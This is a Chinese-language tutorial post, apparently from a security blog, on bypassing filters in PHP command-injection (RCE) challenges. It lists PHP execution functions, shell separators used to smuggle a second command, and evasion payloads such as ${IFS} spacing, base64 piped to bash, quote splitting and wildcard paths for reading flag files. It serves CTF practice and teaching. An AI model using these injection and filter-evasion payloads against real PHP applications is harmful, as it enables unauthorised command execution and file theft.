首页 / 教程资源

PHP命令执行RCE绕过技巧

发布时间:2023-04-05 00:16:36
0x0
声明

    由于传播、利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,Cyb3rES3c及文章作者不承担任何责任。请遵守《中华人民共和国个人信息保护法》、《网络安全法》等相关法律法规。

0x1
命令执行相关函数

php命令执行函数

system()# 返回最后一行内容passthru()# 输出,无返回值exec()# 输出最后一行内容shell_exec()# 不输出,执行成功则返回执行结果的字符串形式``# ``也可以执行命令

demo

其它php命令执行函数:

popen()proc_open()pcntl_exec()ob_start()

0x2
代码执行相关函数
php代码执行函数
eval()# 传入的参数必须为 php 代码,并且以 ; 分号结尾assert()# 直接将传入的参数当作代码执行,不需要分号结尾call_user_func()# 把第一个参数作为回调函数调用,其余参数是回调函数的参数preg_replcace()# 函数执行一个正则表达式的搜索和替换,修饰符 e 会让函数替换后的字符串作为代码去执行# 该函数在 php7.0.0 开始已经不再支持 e 修饰符
其它php代码执行函数
call_user_fun_array()create_function()array_map()array_filter()uasort()
0x3
管道符
常见管道符
|# 直接执行后面的语句||# 如果前面的语句是错误的,那么就执行后面的语句,否则只执行前面的&# 无论前面的语句是否正确,前面和后面的语句都要执行&&# 如果前面的语句正确,则前面和后面的语句都要执行;如果前面的语句错误,则前面和后面的命令都不执行;# 无论前面的语句是否正确,分号前面和后面的语句都要执行$()# 用来替换命令%0a# 换行符
0x4
绕过技巧
1、空格绕过
> < <> 重定向符%09(需要php环境)${IFS}$IFS$1 $1指传过来的第1个参数{cat,flag.php} //用逗号实现了空格功能%20%09
2、黑名单绕过
拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
base64编码
`echo "Y2F0IGZsYWc="|base64 -d``echo "Y2F0IGZsYWc="|base64 -d|bash` (在bash被过滤的情况下可尝试sh)
单引号、双引号
c""at fl''ag
反斜线
c\at fl\ag
正则
(假设/bin/cat: test: 是一个目录)
/???/?[a][t] ?''?''?''?''``/???/?at ????``/???/?[a]''[t] ?''?''?''?''
$1、$2等和$@
$# 是传给脚本的参数个数 
$0 是脚本本身的名字 
$1 是传递给该shell脚本的第一个参数 
$2 是传递给该shell脚本的第二个参数
$@ 是传给脚本的所有参数的列表
$* 是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9
$$ 是脚本运行的当前进程ID号
$? 是显示最后命令的退出状态,0表示没有错误,其他表示有错误
3、cat被过滤
more:一页一页的显示档案内容less:与 more 类似head:查看头几行tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示tail:查看尾几行nl:显示的时候,顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器,这个也可以查看vim:一种编辑器,这个也可以查看sort:可以查看uniq:可以查看file -f:报错出具体内容grep# 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,# 并打印出该字符串的行。此时,可以使用如下命令:grep test *filestrings
    【注】escapeshellarg/escapeshellcmd函数使用不当也会出现一些安全问题。


Cyb3rES3c
微信号| Mall0c


分享收藏点赞在看

相关推荐